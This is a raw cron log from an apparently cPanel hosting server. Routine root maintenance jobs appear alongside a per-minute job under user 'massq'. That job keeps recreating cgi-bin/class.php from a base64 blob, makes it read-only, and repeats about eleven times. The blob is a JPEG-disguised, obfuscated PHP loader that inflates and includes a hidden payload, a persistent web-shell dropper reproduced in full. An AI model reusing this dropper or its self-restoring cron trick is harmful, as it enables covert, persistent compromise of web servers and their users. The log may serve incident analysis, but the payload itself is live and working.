Sep  9 23:14:01 server CROND[21161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:15:01 server CROND[21649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:15:01 server CROND[21651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:15:01 server CROND[21652]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:15:01 server CROND[21653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:15:01 server CROND[21655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:15:01 server CROND[21654]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 23:15:01 server CROND[21658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:15:01 server CROND[21659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:16:01 server CROND[22497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:16:01 server CROND[22498]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:16:01 server CROND[22499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:17:01 server CROND[23097]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:17:01 server CROND[23098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:17:01 server CROND[23099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:18:01 server CROND[23508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:18:01 server CROND[23509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:18:01 server CROND[23510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:19:01 server CROND[23921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:19:01 server CROND[23922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:19:01 server CROND[23924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:20:01 server CROND[24301]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:20:01 server CROND[24307]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:20:01 server CROND[24316]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:20:01 server CROND[24314]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 23:20:01 server CROND[24312]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:20:01 server CROND[24318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:20:01 server CROND[24315]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:20:01 server CROND[24311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:20:01 server CROND[24313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:21:01 server CROND[25122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:21:01 server CROND[25123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:21:01 server CROND[25124]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:22:01 server CROND[25492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:22:01 server CROND[25493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:22:01 server CROND[25494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:23:01 server CROND[25969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:23:01 server CROND[25970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:23:01 server CROND[25971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:24:01 server CROND[26362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:24:01 server CROND[26363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:24:01 server CROND[26364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:25:01 server CROND[26736]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:25:01 server CROND[26738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:25:01 server CROND[26741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:25:01 server CROND[26740]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:25:01 server CROND[26742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:25:01 server CROND[26743]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:25:01 server CROND[26745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:26:01 server CROND[27564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
